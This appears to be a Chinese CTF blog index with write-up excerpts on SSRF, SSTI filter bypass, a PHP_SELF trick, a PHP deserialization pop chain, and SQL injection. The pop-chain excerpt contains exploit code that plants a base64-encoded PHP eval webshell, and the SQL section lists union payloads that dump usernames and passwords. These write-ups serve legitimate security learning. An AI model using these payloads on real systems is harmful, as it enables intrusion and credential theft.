0%

[HITCON 2017]SSRFme

buu上的一个老题,又是不会做看wp的一天

给了源码

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

remote_addr就是用来创建一个沙盒的,然后用shell_exec执行一个GET命令,escapeshellarg会转义所有引号再在整个参数上加一个引号,防止了命令注入,就是说只能执行GET。
这个GET就是一个GET请求,可以使用file协议什么的,通过Perl实现(是我不懂的东西)
整体效果就是把GET请求到的东西写入我们对应的沙盒文件夹中。本来想写直接写一个PHP的shell的,但是靶机不能访问外网,并且估计也设置了沙盒中的PHP文件都不能解析之类的限制,而写文件的路径也被控制在了沙盒内,跳目录什么的也不太行

阅读全文 »

[GWCTF 2019]你的名字

模板注入,一开始就猜到了,然后出题人害人,过滤的字符串给了个PHP的报错,还给了一个不存在的文件,又把路由设置了一个index.php。。。。不是我看wp我绝对猜不出来发生了什么

但是在一系列fuzz(乱按)之后发现过滤了if,for,class,这几个和ssti相关性很大的关键字,被替换为空了,但是嵌套一层也绕不过去,嵌套n层也绕不过去呜呜呜

wp是说一直测,能发现config这个没什么用的语句在列表后面,用这个绕过过滤,直到我下载了源码才知道是怎么回事

blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
                 ' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
                 'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config'];
for no in blacklist:
    while True:
        if no in s:
            s = s.replace(no, '')
        else:
            break
return s
阅读全文 »

[Zer0pts2020]Can you guess it

外国比赛的签到题,攻击点给的很明显吧,还有一个小小的有意思的地方

源码

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

两个点,一个是$_SERVER[‘PHP_SELF’],这个是返回PHP当前目录与根目录的相对路径,但是访问路径被修改的话这个变量的内容也会对应的更改,如果我们访问的内容是url/index.php/config.php的话,$_SERVER[‘PHP_SELF’]的内容就是index.php/config.php,然后再用basename()获取到config.php,但是这样子过不了正则

阅读全文 »

[EIS2019] ezpop

看到这个标题就知道应该是反序列化构造pop链,不过实际写下来感觉pop链没什么东西,绕过的trick倒是学了一堆,先上源码

key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();
//        print $contents;
        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "\n" . $data;
//        print $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

$b = new B();
$b->options['serialize'] = "strval";
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=./uploads/";
$a = new A($b, 'z3ratu1.php');
$a->cache = array('dirname'=> "PD9waHAgZXZhbCgkX0dFVFsnYSddKTsgPz4");
echo str_replace(' ','%',serialize($a));

定义两个类,魔法方法就A中一个构造一个析构,能用的只有析构,析构直接进save,save函数仅在B类中存在,也就省去了有的题目还要思考是走哪个类的pop链的问题
类A最后会通过析构进入类B的save函数中,所以store这个对象肯定是一个B,类A剩下两个函数都是对content内容进行加工,但是就我做题情况而言,好像这两个函数都没什么用。。。
总的效果就是如果数组中存在一个值仍为数组,就把他和写死的数组比较然后返回键名相同的项,最后通过json_encode一下,
最后这个值会在save函数里作为data的内容拼接一个exit写入文件,剩下的A,B两个类里面的大部分参数都是直接可以控制的,A中的key为写入的文件名,B中的option[‘prefix’]是目录名
options[‘expire’]不知道有什么用,一通类型转换之后写进了注释里面,sprintf('%012d', $expire)这里的%012d表示最短12位的数字,不足12位用0填充
option[‘serialize’]中对应的函数名对我们传入的数据进行一次处理,什么都不做就可以了,选择strval()
options[‘data_compress’]不知道是想干什么,是不是把自己写入的字符串压缩一下到时候可以在写入的时候用伪协议解压写入来绕过死亡exit?
但是file_put_contents也支持其他协议,比如php://filter,我们把shell先用base64编码传入,用base64解码将整个内容解码写入就可以绕过死亡exit了,这个是个很老的trick,以前看p神的博客有写过
整个题重点就是一个option['prefix'] = 'php://filter/write=convert.base64-decode/resource=upload/'

小坑

阅读全文 »

SQL injection

对SQL注入的一些常见payload和不同类型注入的总结

基础无过滤注入

union联合注入

这种注入需要有回显位,使用联合注入union select,主要注入参数需为一个错误指,才能显示联合查询后面的内容,使用order by语句或者直接尝试来探取行数进行回显。
使用group_concat聚合函数将查询结果一次性输出,提高效率。
以sqli-lab的less1为例,payload为:
数据库名:
?id=-1' union select 1,2,database() --+
获取全部数据库名
id=-1 union select schema_name from information_schema.schemata --+
表名:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
列名:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
数据:
id=-1 union select 1,2,group_concat(username,0x3a,password) from users --+
此处group_concat函数中间的参数为一个字符,将username和password分割开来,便于观察

阅读全文 »